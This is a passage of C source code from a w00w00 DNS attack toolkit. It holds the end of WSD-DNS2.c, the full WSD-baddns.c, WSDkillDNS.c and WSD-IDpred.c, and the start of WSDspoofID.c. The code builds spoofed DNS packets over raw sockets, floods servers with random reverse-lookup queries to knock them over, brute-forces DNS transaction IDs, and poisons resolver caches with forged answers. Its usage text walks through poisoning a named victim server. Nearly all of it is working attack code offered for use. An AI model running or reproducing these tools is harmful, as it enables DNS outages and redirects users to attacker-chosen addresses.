  871.      fprintf(stderr, "nameformatIP(): name too long: %s\n", ip);
  872.      exit(ERROR);
  873.   }
  874.  
  875.   bzero(tmp,  sizeof(tmp));
  876.   bzero(tmp1, sizeof(tmp1));
  877.   bzero(nameform, sizeof(nameform));
  878.  
  879.   for (i = 0; i < 4; i++) {
  880.       A[i] = (char *)malloc(4);
  881.       if (A[i] == NULL) {
  882.          perror("malloc");
  883.          exit(ERROR);
  884.       }
  885.  
  886.       bzero(A[i], 4);
  887.   }
  888.  
  889.   bzero(tmp,  sizeof(tmp));
  890.   bzero(tmp1, sizeof(tmp1));
  891.  
  892.   for (i = 0; i < strlen(ip); i++) {
  893.      c = ip[i];
  894.      if (c == '.') {
  895.         strcat(A[a], tmp); 
  896.         a--;
  897.  
  898.         k = 0;
  899.  
  900.         bzero(tmp, sizeof(tmp));
  901.      } else tmp[k++] = c;
  902.   }
  903.   
  904.   strcat(A[a], tmp);
  905.   
  906.   for (i = 0; i < 4; i++) {
  907.      strcat(tmp1, A[i]);
  908.      strcat(tmp1, ".");
  909.   }
  910.      
  911.  
  912.   strcat(tmp1, arpa);
  913.   nameformat(tmp1, nameform);
  914.   strcpy(resu, nameform);
  915. }   
  916.  
  917.  
  918. int makepacketQS(char *data, char *name, int type)
  919. {
  920.   if (type == TYPE_A) {
  921.      nameformat(name, data);
  922.      *((u_short *) (data+strlen(data)+1)) = htons(TYPE_A);
  923.   }
  924.  
  925.   if (type == TYPE_PTR) {
  926.      nameformatIP(name,data);
  927.      *((u_short *) (data+strlen(data)+1)) = htons(TYPE_PTR);
  928.   }
  929.         
  930.   *((u_short *) (data+strlen(data)+3)) = htons(1); 
  931.  
  932.   return(strlen(data)+5);   
  933. }
  934.  
  935.  
  936. int makepacketAW(char *data, char *name, char *ip, int type)
  937. {
  938.   int i;
  939.   char tmp[2550];
  940.  
  941.   bzero(tmp, sizeof(tmp));
  942.  
  943.   if (type == TYPE_A) {
  944.      nameformat(name, data);
  945.      *((u_short *) (data+strlen(data)+1)) = htons(1);
  946.      *((u_short *) (data+strlen(data)+3)) = htons(1);        
  947.    
  948.    i = strlen(data)+5;
  949.    strncpy(data+i, data, MAXLEN);
  950.    
  951.    i = i+strlen(data)+1;    
  952.    *((u_short *) (data+i))    = htons(TYPE_A);
  953.    *((u_short *) (data+i+2))  = htons(1);
  954.    *((u_long  *) (data+i+4))  = 9999999;
  955.    *((u_short *) (data+i+8))  = htons(4);
  956.    *((u_long  *) (data+i+10)) = host2ip(ip);
  957.    
  958.    return(i+14);
  959.   }
  960.  
  961.   if (type == TYPE_PTR) {
  962.      nameformat(name, tmp);
  963.      nameformatIP(ip, data);
  964.    
  965.      *((u_short *) (data+strlen(data)+1))  = htons(TYPE_PTR);
  966.      *((u_short *) (data+strlen(data)+3)) = htons(1);  
  967.    
  968.      i = strlen(data)+5;
  969.      strncpy((data+i), data, MAXLEN);
  970.  
  971.      i = (i+strlen(data)+1);
  972.      *((u_short *) (data+i))   = htons(TYPE_PTR);
  973.      *((u_short *) (data+i+2)) = htons(1);
  974.      *((u_long  *) (data+i+4)) = 9999999;
  975.      *((u_short *) (data+i+8)) = htons(strlen(tmp)+1);
  976.    
  977.      strncpy((data+i+10), tmp, MAXLEN);
  978.    
  979.      return(i+10+strlen(tmp)+1);
  980.  }
  981.  
  982.   /* You were only supposed to use type A or PTR! Bad people. */
  983.   return(ERROR);
  984. }
  985.  
  986. void sendquestion(u_long s_ip, u_long d_ip,char *name,int type)
  987. {
  988.   int i;
  989.   int on=1;
  990.   int sraw;
  991.      
  992.   char *data;    
  993.   char buff[1024];
  994.          
  995.   struct dnshdr *dns;
  996.  
  997.   sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  998.   if (sraw == ERROR) {
  999.      perror("socket");
  1000.      exit(ERROR);
  1001.   }
  1002.    
  1003.   if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
  1004.          == ERROR) {
  1005.      perror("setsockopt");
  1006.      exit(ERROR);
  1007.   }
  1008.  
  1009.   dns  = (struct dnshdr *) buff;
  1010.   data = (char *)(buff+DNSHDRSIZE);
  1011.  
  1012.   bzero(buff, sizeof(buff));
  1013.  
  1014.   dns->id      = 6000+myrand();
  1015.   dns->qr      = 0;
  1016.   dns->rd      = 1;
  1017.   dns->aa      = 0;
  1018.   dns->que_num = htons(1);
  1019.   dns->rep_num = htons(0);
  1020.  
  1021.   i = makepacketQS(data, name, type);
  1022.   udp_send(sraw, s_ip, d_ip, 1200+myrand, 53, buff, DNSHDRSIZE+i);
  1023.  
  1024.   close(sraw);
  1025. }                                   
  1026.  
  1027. void sendanswer(s_ip, d_ip, name, spoofip, ID, type)
  1028.   u_long s_ip;
  1029.   u_long d_ip;
  1030.   char *name;
  1031.   char *spoofip;
  1032.   int ID;
  1033.   int type;
  1034. {
  1035.   int i;
  1036.   int on=1;
  1037.   int sraw;
  1038.   
  1039.   char *data;
  1040.   char buff[1024];
  1041.   
  1042.   struct dnshdr *dns;
  1043.  
  1044.  
  1045.   sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  1046.   if (sraw == ERROR) {
  1047.     perror("socket");
  1048.     exit(ERROR);
  1049.   }
  1050.    
  1051.   if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
  1052.          == ERROR) {
  1053.      perror("setsockopt");
  1054.      exit(ERROR);
  1055.   }
  1056.  
  1057.   dns  = (struct dnshdr *) buff;
  1058.   data = (char *)(buff+DNSHDRSIZE);
  1059.  
  1060.   bzero(buff, sizeof(buff));
  1061.  
  1062.   dns->id      = htons(ID);
  1063.   dns->qr      = 1;
  1064.   dns->rd      = 1;
  1065.   dns->aa      = 1;
  1066.   dns->que_num = htons(1);
  1067.   dns->rep_num = htons(1);
  1068.  
  1069.   i = makepacketAW(data, name, spoofip, type);
  1070.   udp_send(sraw, s_ip, d_ip, 53, 53, buff, DNSHDRSIZE+i);
  1071.  
  1072.   close(sraw);
  1073. }           
  1074.                                      
  1075.  
  1076. void dnsspoof(dnstrust, victim, spoofname, spoofip, ID, type)
  1077.   char *dnstrust;
  1078.   char *victim;
  1079.   char *spoofname;
  1080.   char *spoofip;
  1081.   int ID;
  1082.   int type;
  1083. {
  1084.   int loop, rere;
  1085.   u_long fakeip, trustip, victimip;
  1086.      
  1087.   char *data;
  1088.   char buff[1024];
  1089.      
  1090.   struct dnshdr *dns;
  1091.  
  1092.      
  1093.   dns  = (struct dnshdr *)buff;
  1094.   data = (char *)(buff+DNSHDRSIZE);
  1095.      
  1096.   trustip  = host2ip(dnstrust);
  1097.   victimip = host2ip(victim); 
  1098.   fakeip   = host2ip("12.1.1.0");
  1099.     
  1100.   /* send question ... */
  1101.   if (type ==  TYPE_PTR) 
  1102.      for (loop = 0; loop < 4; loop++)
  1103.         sendquestion(fakeip, victimip, spoofip, type);
  1104.    
  1105.   if (type == TYPE_A)
  1106.      for (loop = 0; loop < 4; loop++)
  1107.         sendquestion(fakeip, victimip, spoofname, type);
  1108.      
  1109.   /* Answer quickly! */ 
  1110.   for (rere = 0; rere < 2; rere++) 
  1111.      for (loop = 0; loop < 80; loop++) {
  1112.         printf("trustip: %s, vitcimip: %s, spoofname: %s, spoofip: %s," 
  1113.                "ID: %i, type: %i\n",
  1114.                dnstrust, victim, spoofname, spoofip, ID+loop, type);
  1115.                      
  1116.         sendanswer(trustip, victimip, spoofname, spoofip, ID+loop, type);
  1117.  
  1118.      }
  1119. }
  1120. ----[END of WSD-DNS2.c]----
  1121.  
  1122.  
  1123.  
  1124. ----[WSD-baddns.c ]----
  1125. /* ******************************************************* */
  1126. /* w00w00 DNS attack (Denial of Service)            */ 
  1127. /* w00w00 Security Development (WSD)               */ 
  1128. /* ------------------------------------------------------- */
  1129. /* Email: WSD@w00w00.org                      */
  1130. /* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub  */
  1131. /* ******************************************************* */
  1132.  
  1133. #include "WSD-spoof.c"
  1134. #include "dns.h"
  1135. #include "WSD-DNS2.c"
  1136.                    
  1137. #define  ERROR  -1
  1138. #define  VERSION "v0.2"
  1139. #define  DNSHDRSIZE 12
  1140.  
  1141. void main(int argc, char **argv)
  1142. {
  1143.   int sraw, on = 1;
  1144.   unsigned long s_ip, d_ip;
  1145.  
  1146.   char *data;
  1147.   char buf[4000];
  1148.  
  1149.   unsigned char names[255];
  1150.  
  1151.   struct dnshdr *dns;
  1152.  
  1153.   printf("w00w00!\n");
  1154.  
  1155.   if (argc < 2) {
  1156.      printf("Usage: %s <host>\n", argv[0]); 
  1157.      printf("w00w00 DNS Attack - WSD@w00w00.org\n");
  1158.      exit(0);
  1159.   }
  1160.     
  1161.   dns  = (struct dnshdr  *)buf;
  1162.   data = (char *)(buf+12);
  1163.   bzero(buf, sizeof(buf));
  1164.  
  1165.   sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  1166.   if (sraw == ERROR) {
  1167.      perror("socket");
  1168.      exit(ERROR);
  1169.   }
  1170.   
  1171.   if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
  1172.     == ERROR) {
  1173.      perror("setsockopt");
  1174.      exit(ERROR);
  1175.   }
  1176.  
  1177.   printf("WSD-baddns %s: DNS attack - w00w00 Security Development (WSD)\n",
  1178.          VERSION);
  1179.  
  1180.   sleep(1);
  1181.  
  1182.   s_ip = host2ip("100.1.2.3");
  1183.   d_ip = host2ip(argv[1]);
  1184.        
  1185.   dns->id      = 123;
  1186.   dns->rd      = 1;
  1187.   dns->que_num = htons(1);
  1188.       
  1189.   while(1) {            
  1190.      sprintf(names, "\3%d\3%d\3%d\3%d\07in-addr\04arpa",
  1191.              myrand(), myrand(), myrand(), myrand());        
  1192.  
  1193.      printf("%s\n", names);
  1194.      strcpy(data,   names);
  1195.  
  1196.      *((u_short *) (data+strlen(names)+1)) = ntohs(12);
  1197.      *((u_short *) (data+strlen(names)+3)) = ntohs(1);
  1198.  
  1199.      udp_send(sraw, s_ip, d_ip, 2600+myrand(), 53, buf, 14+strlen(names)+5);
  1200.  
  1201.      s_ip = ntohl(s_ip);
  1202.      s_ip++;
  1203.      s_ip = htonl(s_ip);   
  1204.               
  1205.   }
  1206. }
  1207. ----[END of WSD-baddns.c]----
  1208.  
  1209.  
  1210.  
  1211. ----[WSDkillDNS.c ]----
  1212. /* *********************************************** */
  1213. /* w00w00 DNS Killer (Brutal attack)               */
  1214. /* ----------------------------------------------- */
  1215. /* Email: WSD@w00w00.org                    */
  1216. /* WWW: http://www.w00w00.org                      */
  1217. /* FTP: ftp://ftp.w00w00.org/pub                   */
  1218. /* *********************************************** */
  1219.  
  1220. #include "WSD-spoof.c"
  1221. #include "dns.h"
  1222. #include "WSD-DNS2.c"
  1223.  
  1224. #define   ERROR    -1
  1225. #define   ID_START  1
  1226. #define   ID_STOP   65535
  1227. #define   VERSION   "v0.3"
  1228. #define   PORT_START 53
  1229. #define   PORT_STOP  54
  1230.  
  1231. void main(int argc, char **argv)
  1232. {
  1233.   struct   dnshdr *dns;
  1234.      
  1235.   char *data;
  1236.   char buffer2[4000];
  1237.   unsigned char names[255];    
  1238.      
  1239.   unsigned long s_ip, s_ip2;
  1240.   unsigned long d_ip, d_ip2;
  1241.      
  1242.   int sraw, i, on=1, x, loop;
  1243.   int idstart, idstop, portstart, portstop;
  1244.  
  1245.   printf("w00w00!\n");
  1246.   printf("w00w00 Security Development (WSD)\n");
  1247.   printf("WSD@w00w00.org\n");
  1248.   
  1249.   if (argc < 5) {
  1250.      system("/usr/bin/clear");
  1251.  
  1252.      printf("w00w00!\n");
  1253.      printf("w00w00 Security Development (WSD)\n");
  1254.      printf("WSD@w00w00.org\n\n");
  1255.      printf(" Usage : %s <ip src> <ip dst>  <name> <ip>\n\t[A,B,N] [ID_START] [ID_STOP] [PORT START] [PORT STOP] \n",argv[0]);
  1256.      printf(" ip src: ip source of the dns anwser\n");
  1257.      printf(" ip dst: ip of the dns victim\n");
  1258.      printf(" name  : spoof name i.e.: www.dede.com\n");
  1259.      printf(" ip    : the ip associated with the name\n");
  1260.      printf(" options:\n");
  1261.      printf(" [A,B,N]...\n");
  1262.      printf(" A: flood the DNS victim with multiple queries\n");
  1263.      printf(" B: DoS attack to crash the DNS\n");
  1264.      printf(" N: No attacks\n\n");
  1265.      printf(" [ID_START]            \n");
  1266.      printf(" ID_START: id start :> \n\n");
  1267.      printf(" [ID_STOP]             n");
  1268.      printf(" ID_STOP : id stop :>  \n\n");
  1269.      printf(" PORT START, PORT STOP: send the spoof to the portstart at portstop\n\n");
  1270.  
  1271.      exit(ERROR);
  1272.   }
  1273.     
  1274.   dns  = (struct dnshdr  *)buffer2;
  1275.   data = (char *)(buffer2+DNSHDRSIZE);
  1276.   bzero(buffer2, sizeof(buffer2));
  1277.  
  1278.   sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  1279.   if (sraw == ERROR) {
  1280.      perror("socket");
  1281.      exit(ERROR);
  1282.   }
  1283.    
  1284.   if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
  1285.     == ERROR){
  1286.     perror("setsockopt");
  1287.     exit(ERROR);
  1288.   }
  1289.  
  1290.   printf("WSDkillDNS %s \n", VERSION); 
  1291.  
  1292.   s_ip2 = s_ip = host2ip(argv[1]);
  1293.   d_ip2 = d_ip = host2ip(argv[2]);
  1294.  
  1295.  
  1296.   if (argc > 5)
  1297.      if (*argv[5]=='A')
  1298.         for (loop=0; loop < 10; loop++) {
  1299.            dns->id      = 6000+loop;
  1300.            dns->qr      = 0;
  1301.            dns->rd      = 1;
  1302.            dns->aa      = 0;
  1303.            dns->que_num = htons(1);
  1304.            dns->rep_num = htons(0);
  1305.        
  1306.            i = makepacketQS(data, argv[3], TYPE_A); 
  1307.            udp_send(sraw, s_ip, d_ip, 1200+loop, 53, buffer2, DNSHDRSIZE+i);
  1308.        
  1309.            s_ip = ntohl(s_ip);
  1310.            s_ip++;
  1311.            s_ip = htonl(s_ip);
  1312.        
  1313.         }
  1314.    
  1315.   if (argc > 5)
  1316.      if (*argv[5]=='B') {
  1317.       s_ip = host2ip("100.1.2.3");
  1318.  
  1319.         dns->id      = 123;
  1320.         dns->rd      = 1;
  1321.         dns->que_num = htons(1);
  1322.              
  1323.     printf("Enter the number of packets to send: ");
  1324.         scanf("%d",&i);         
  1325.      
  1326.         for (x = 0; x < i; x++) {            
  1327.            sprintf(names, "\3%d\3%d\3%d\3%d\07in-addr\04arpa",
  1328.                    myrand(), myrand(), myrand(), myrand());        
  1329.  
  1330.            strcpy(data, names);
  1331.                
  1332.            *((u_short *) (data+strlen(names)+1)) = ntohs(12);
  1333.            *((u_short *) (data+strlen(names)+3)) = ntohs(1);
  1334.                   
  1335.            udp_send(sraw, s_ip, d_ip, 2600+myrand(), 53, buffer2,
  1336.                     14+strlen(names)+5);
  1337.                   
  1338.            s_ip = ntohl(s_ip);
  1339.            s_ip++;
  1340.            s_ip = htonl(s_ip);   
  1341.  
  1342.            printf("send packet # %i:%i\n", x, i);   
  1343.         }
  1344.      } 
  1345.    
  1346.   if (argc > 6) idstart = atoi(argv[6]);
  1347.   else idstart = ID_START;
  1348.  
  1349.   if (argc > 7) idstop = atoi(argv[7]);
  1350.   else idstop = ID_STOP;
  1351.   
  1352.   if (argc > 8) {
  1353.      portstart = atoi(argv[8]);
  1354.      portstop  = atoi(argv[9]);
  1355.   } else {
  1356.      portstart = PORT_START;
  1357.      portstop  = PORT_STOP;
  1358.   }
  1359.            
  1360.  
  1361.   bzero(buffer2, sizeof(buffer2));
  1362.   bzero(names,   sizeof(names));
  1363.  
  1364.   i = 0 , x = 0;
  1365.   s_ip = s_ip2, d_ip = d_ip2;
  1366.  
  1367.   for (; idstart < idstop; idstart++) {
  1368.       dns->id      = htons(idstart);
  1369.       dns->qr      = 1;
  1370.       dns->rd      = 1;
  1371.       dns->aa      = 1;
  1372.       dns->que_num = htons(1);
  1373.       dns->rep_num = htons(1);
  1374.        
  1375.       (void) printf("send awnser with id %i to port %i at port %i\n",
  1376.                       idstart, portstart, portstop);
  1377.                                                          
  1378.        i = makepacketAW(data, argv[3], argv[4], TYPE_A);
  1379.        
  1380.        for (; x < portstop; x++)
  1381.           udp_send(sraw, s_ip, d_ip, 53, x, buffer2, DNSHDRSIZE+i);
  1382.        
  1383.        x = portstart;
  1384.   }  
  1385.  
  1386.   printf(" terminated..\n");
  1387. }
  1388. ----[END of WSDkillDNS.c ]----
  1389.  
  1390.  
  1391. ----[WSD-IDpred.c ]----
  1392. /* ******************************************************* */
  1393. /*  w00w00 DNS ID Predictor                      Super Raw */
  1394. /* ------------------------------------------------------- */
  1395. /* Email: WSD@w00w00.org                                   */
  1396. /* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub  */
  1397. /* ******************************************************* */
  1398.  
  1399. #include <fcntl.h>
  1400. #include "dns.h"
  1401. #include "WSD-spoof.c"
  1402. #include "WSD-DNS2.c"
  1403.  
  1404. #define  ERROR      -1
  1405. #define  DNSHDRSIZE 12
  1406. #define  TIMEOUT    300
  1407. #define  VERSION    "v0.7"
  1408. #define  SPOOFIP    "4.4.4.4"
  1409. #define  UNDASPOOF  "111.111.111.111"
  1410. #define  LEN        sizeof(struct sockaddr)
  1411.  
  1412.  
  1413. void usage()
  1414. {
  1415.   printf("w00w00 DNS ID Predictor\n");
  1416.   printf("w00w00 Security Development (WSD)\n");
  1417.   printf("WSD@w00w00.org\n");
  1418.  
  1419.   printf(" WSD-idpred <your ip> <dns trust> <domaine trust> <ip victim> <TYPE> <spoof name> <spoof ip> <ns.trust.for.the.spoof> [ID] \n"); 
  1420.   printf("\n Ex: WSD-idpred ppp.evil.com ns1.victim.com provnet.fr ns.victim.com 1 mouhhahahaha.hol.fr 31.3.3.7 ns.isdnet.net [ID] \n");
  1421.   printf(" We are going to poison ns.victim.com so they resolve mouhhahaha.hol.fr in 31.3.3.7\n");
  1422.   printf(" We use provnet.fr and ns1.provnet for finding the ID of ns.victim.com\n");
  1423.   printf(" We use ns.isdnet.net for spoofing because they have AUTH on *.hol.fr\n");
  1424.   printf(" For more information check ftp.w00w00.org/pub/DNS/\n");
  1425.   printf(" Mail WSD@w00w00.org.\n");
  1426.  
  1427.   exit(ERROR); 
  1428. }  
  1429.  
  1430. void senddnspkt(s, d_ip, wwwname, ip, dns)
  1431.   int s;
  1432.   u_long d_ip;
  1433.   char *wwwname;
  1434.   char *ip;
  1435.   struct dnshdr *dns;
  1436. {
  1437.   int i;
  1438.   
  1439.   char buffer[1024];
  1440.   char *data = (char *)(buffer+DNSHDRSIZE);
  1441.  
  1442.   struct sockaddr_in sin;
  1443.  
  1444.   bzero(buffer, sizeof(buffer));
  1445.   memcpy(buffer, dns, DNSHDRSIZE);
  1446.  
  1447.   if (dns->qr == 0) {
  1448.      i = makepacketQS(data, wwwname, TYPE_A);
  1449.      sin.sin_family = AF_INET;
  1450.      sin.sin_port   = htons(53);
  1451.      sin.sin_addr.s_addr = d_ip;
  1452.      sendto(s, buffer, DNSHDRSIZE+i, 0, (struct sockaddr *)&sin, LEN);
  1453.   } else {
  1454.      i = makepacketAW(data, wwwname, ip, TYPE_A);
  1455.      sin.sin_family = AF_INET;
  1456.      sin.sin_port   = htons(53);
  1457.      sin.sin_addr.s_addr = d_ip;
  1458.      sendto(s, buffer, DNSHDRSIZE+i, 0, (struct sockaddr *)&sin, LEN);
  1459.   }
  1460.  
  1461. }
  1462.                     
  1463. void dns_qs_no_rd(s, d_ip, wwwname, ID)
  1464.   int s;
  1465.   u_long d_ip;
  1466.   char *wwwname;
  1467.   int ID;
  1468. {
  1469.   int i;
  1470.  
  1471.   char *data;
  1472.   char buffer[1024];
  1473.  
  1474.   struct dnshdr *dns;
  1475.  
  1476.   dns  = (struct dnshdr *)buffer;
  1477.   data = (char *)(buffer+DNSHDRSIZE);
  1478.  
  1479.   bzero(buffer, sizeof(buffer));
  1480.  
  1481.   dns->id      = htons(ID);
  1482.   dns->qr      = 0;
  1483.   dns->rd      = 0; /* dont want the recursion !! */
  1484.   dns->aa      = 0;
  1485.   dns->que_num = htons(1);
  1486.   dns->rep_num = htons(0);
  1487.  
  1488.   i = makepacketQS(data, wwwname, TYPE_A);
  1489.   senddnspkt(s, d_ip, wwwname, NULL, dns);
  1490. }
  1491.                                   
  1492. void main(int argc, char **argv)
  1493. {
  1494.   struct sockaddr_in sin_rcp;
  1495.   struct dnshdr *dns, *dns_recv;
  1496.  
  1497.   int len = sizeof(struct sockaddr);
  1498.   int sraw, s_r, i, on = 1, x, ID, times;
  1499.  
  1500.   char *alacon;
  1501.   char host[256];
  1502.   char dnstrust[256];
  1503.   char *data, *data2;
  1504.   char buf[4000], buf1[4000];
  1505.   char spoofname[256], spoofip[256];
  1506.  
  1507.   unsigned char fakename[256];
  1508.   unsigned char names[256];    
  1509.   unsigned long s_ip,  s_ip2;
  1510.   unsigned long d_ip,  d_ip2, trust;
  1511.   unsigned int  DA_ID = 65535, loop = 65535;                      
  1512.  
  1513.  
  1514.   dns_recv = (struct dnshdr *)(buf1);
  1515.   data2    = (char *)(buf1+DNSHDRSIZE);
  1516.   dns      = (struct dnshdr *)buf;
  1517.   data     = (char *)(buf+DNSHDRSIZE);
  1518.  
  1519.   bzero(buf, sizeof(buf));
  1520.   srand(time(NULL));
  1521.         
  1522.   printf("w00w00 DNS ID Predictor\n");
  1523.   printf("w00w00 Security Development (WSD)\n");
  1524.   printf("WSD@w00w00.org\n");
  1525.  
  1526.   s_r = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1527.   if (s_r == ERROR) {
  1528.      perror("socket");
  1529.      exit(ERROR);
  1530.   }  
  1531.  
  1532.   if ((fcntl(s_r, F_SETFL, O_NONBLOCK)) == ERROR) {
  1533.      perror("fcntl");
  1534.      exit(ERROR);
  1535.   }      
  1536.          
  1537.   sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  1538.   if (sraw == ERROR) {
  1539.      perror("socket");
  1540.      exit(ERROR);
  1541.   }
  1542.     
  1543.   if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))
  1544.     == ERROR)) {
  1545.      perror("setsockopt");
  1546.      exit(ERROR);
  1547.   }
  1548.  
  1549.   if (argc < 2) usage();
  1550.   if (argc > 9) DA_ID = loop = atoi(argv[9]);  
  1551.   if (argc > 6) {
  1552.      if (strlen(argv[6]) > sizeof(spoofname) - 1) {
  1553.         fprintf(stderr, "argv[6] too long: %s\n", argv[6]);
  1554.         exit(ERROR);
  1555.      } else 
  1556.         strcpy(spoofname, argv[6]);
  1557.   } else {
  1558.      printf("Enter the name you want spoof: ");
  1559.      scanf("%255s", spoofname);
  1560.   }
  1561.  
  1562.   if (argc > 7) strncpy (host, argv[7], sizeof(host));
  1563.   else {
  1564.      printf("Enter the IP address of the spoof name: ");
  1565.      scanf("%255s", host);
  1566.   }
  1567.   
  1568.   alacon = (char *)inet_ntoa(host2ip(host));
  1569.   strcpy(spoofip, alacon);
  1570.     
  1571.   if (argc > 8) {
  1572.      if (strlen(argv[8]) > sizeof(host) - 1) {
  1573.     fprintf(stderr, "argv[8] too long: %s\n", argv[8]);
  1574.         exit(ERROR);
  1575.      } else
  1576.         strcpy(host, argv[8]);
  1577.   } else {
  1578.      printf("Enter the trusted NS of the victim: ");
  1579.      scanf("%255s", host);
  1580.   }
  1581.   
  1582.   alacon = (char *)inet_ntoa(host2ip(host));
  1583.   strcpy(dnstrust, alacon);
  1584.                        
  1585.   printf("WSD-IDpred %s w00w00 (WSD) - Super Raw\n", VERSION); 
  1586.  
  1587.   /* save some arguments */ 
  1588.   s_ip2 = host2ip(argv[1]);
  1589.   trust = host2ip(argv[2]);
  1590.   s_ip  = host2ip(UNDASPOOF);
  1591.   d_ip2 = d_ip = host2ip(argv[4]);
  1592.  
  1593.   if (strlen(argv[3]) > sizeof(fakename) - 1) {
  1594.      fprintf(stderr, "argv[3] too long: %s\n", argv[3]);
  1595.      exit(ERROR);
  1596.   }
  1597.  
  1598.   while(1) {      
  1599.      sprintf(fakename, "%d%d%d%d%d%d.%s", myrand(), myrand(), myrand(),
  1600.              myrand(), myrand(), myrand(), argv[3]);
  1601.  
  1602.      sendquestion(s_ip, d_ip, fakename, TYPE_A);
  1603.              
  1604.      /* end of question packet */
  1605.      bzero(buf,   sizeof(buf)); /* re-init some variable */
  1606.      bzero(names, sizeof(names)); 
  1607.  
  1608.      i = 0, x = 0;
  1609.  
  1610.     /* Here we start the spoof anwser */
  1611.     ID = loop;
  1612.     for (; loop >= ID-10; loop--) {
  1613.        dns->id = htons(loop);
  1614.        dns->qr = 1;
  1615.        dns->rd = 1;
  1616.        dns->aa = 1;
  1617.        dns->que_num = htons(1);
  1618.        dns->rep_num = htons(1);
  1619.                                                  
  1620.        i = makepacketAW(data, fakename, SPOOFIP, TYPE_A);
  1621.        udp_send(sraw, trust, d_ip2, 53, 53, buf, DNSHDRSIZE+i);
  1622.     }
  1623.  
  1624.     bzero(buf,   sizeof(buf)); /* re-init some variable */
  1625.     bzero(names, sizeof(names));
  1626.     i = 0, x = 0;
  1627.              
  1628.     /* Time for the test spoof */
  1629.  
  1630.     /* Here we sending question, nonrecursive */
  1631.     dns_qs_no_rd(s_r, d_ip2, fakename, myrand()); 
  1632.      
  1633.     /* We are waiting for answer ... */
  1634.     while (1) {    
  1635.        for (times = 0; times < TIMEOUT; times++) {
  1636.           if (recvfrom(s_r, buf1, sizeof(buf1), 0,
  1637.                    (struct sockaddr *)&sin_rcp,&len) != ERROR) {
  1638.              printf("We have the response.\n");
  1639.              times = 0;
  1640.              break;
  1641.           }
  1642.  
  1643.           usleep(10);
  1644.           times++;
  1645.        }
  1646.  
  1647.        if (times != 0) {
  1648.           printf("We have no response from the NS. Resend question..\n");
  1649.           dns_qs_no_rd(s_r, d_ip2, fakename, myrand());
  1650.        } else break;
  1651.     }
  1652.  
  1653.     /* Okay we have an answer */
  1654.     printf("fakename = %s\n", fakename);
  1655.  
  1656.     if (sin_rcp.sin_addr.s_addr == d_ip2)
  1657.        if (sin_rcp.sin_port == htons(53))
  1658.           if (dns_recv->qr == 1) {
  1659.              if (dns_recv->rep_num == 0) /* We dont have the right ID */
  1660.                 printf("Try %d < ID < %d\n", ID-10, ID);
  1661.          
  1662.              else {
  1663.                 /* The spoof has worked, we have found the right ID! */
  1664.                 printf("the DNS ID of %s is %d < ID < %d!!\n",
  1665.                         argv[4], loop-10, loop);
  1666.  
  1667.                 printf("Let's send the spoof...\n");
  1668.                 dnsspoof(dnstrust, argv[4], spoofname, spoofip, loop,
  1669.                          atoi(argv[5]));          
  1670.                 printf("spoof sent...\n");
  1671.  
  1672.                 exit(0);
  1673.              }                  
  1674.           }
  1675.  
  1676.     bzero(buf1, sizeof(buf1));    
  1677.            
  1678.     } 
  1679.  
  1680. }
  1681. ----[END of WSD-IDpred.c]----
  1682.  
  1683. ----[ WSDspoofID.c ]----
  1684. /* ******************************************************* */
  1685. /* w00w00 DNS ID Spoofer                        Super Raw  */
  1686. /* w00w00 Security Development (WSD)               */
  1687. /* ------------------------------------------------------- */
  1688. /* Email: WSD@w00w00.org                   */
  1689. /* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub  */
  1690. /* ******************************************************* */
  1691.  
  1692. #include "WSD-spoof.c"
  1693. #include "dns.h"
  1694. #include "WSD-DNS2.c"
  1695. #include <pcap.h>
  1696. #include <net/if.h>
  1697.  
  1698. #define  ERROR -1
  1699. #define  DNSHDRSIZE 12
  1700. #define  VERSION "v0.6"
  1701. #define  SPOOF "127.0.0.1"       
  1702.  
  1703. int ETHHDRSIZE;
  1704.                      
  1705. void main(int argc, char **argv)
  1706. {
  1707.   int sraw, i, on=1, con, ID, DA_ID, type;
  1708.  
  1709.   struct iphdr  *ip;
  1710.   struct udphdr *udp;
  1711.   struct dnshdr *dnsrecv, *dnssend;
  1712.  
  1713.   struct pcap *pcap_d;
  1714.   struct pcap_pkthdr h;
  1715.  
  1716.   char *buf;
  1717.   char *alacon;
  1718.   char host[256];
  1719.   char ebuf[256];
  1720.   char buf1[1024];
  1721.   char namefake[256];
  1722.   char dnstrust[256];
  1723.   char *data, *data2;
  1724.   char spoofip[256], spoofname[256];
  1725.  
  1726.   unsigned long d_ip;                     
  1727.   unsigned long s_ipns;
  1728.      
  1729.  
  1730.   srand((time(NULL) % random() * random()));
  1731.  
  1732.  
  1733.   printf("w00w00 DNS ID Spoofer - Super Raw!\n");
  1734.   printf("w00w00 Security Development (WSD)\n");
  1735.   printf("WSD@w00w00.org\n");
  1736.  
  1737.   if (argc < 2) {
  1738.      printf("Usage: %s <device> <ns.victim.com> <your domain> <IP of your NS> <type 1,12> <spoofname> <spoof ip> <ns trust>\n",argv[0]); 
  1739.      printf("Example: %s eth0 ns.victim.com hacker.org 123.4.5.36 12 damn.diz.ip.iz.ereet.ya mail.provnet.fr ns2.provnet.fr\n",argv[0]);
  1740.      printf(" So... we try to poison victim.com with type 12 (PTR). Now, if someone asked for the ip of mail.provnet.fr they will resolve to damn.diz.ip.iz.ereet.ya\n"); 
  1741.      
  1742.      exit(1);
  1743.   }
  1744.  
  1745.   if (strstr(argv[1], "ppp0")) ETHHDRSIZE = 0;
  1746.   else ETHHDRSIZE = 14;
  1747.  
  1748.   if (argc > 5) type = atoi(argv[5]);
  1749.   if (argc > 6) {
  1750.      if (strlen(argv[6]) > sizeof(spoofname) - 1) {
  1751.         fprintf(stderr, "argv[6] too long: %s\n", argv[6]);
  1752.         exit(ERROR);
  1753.      } else 
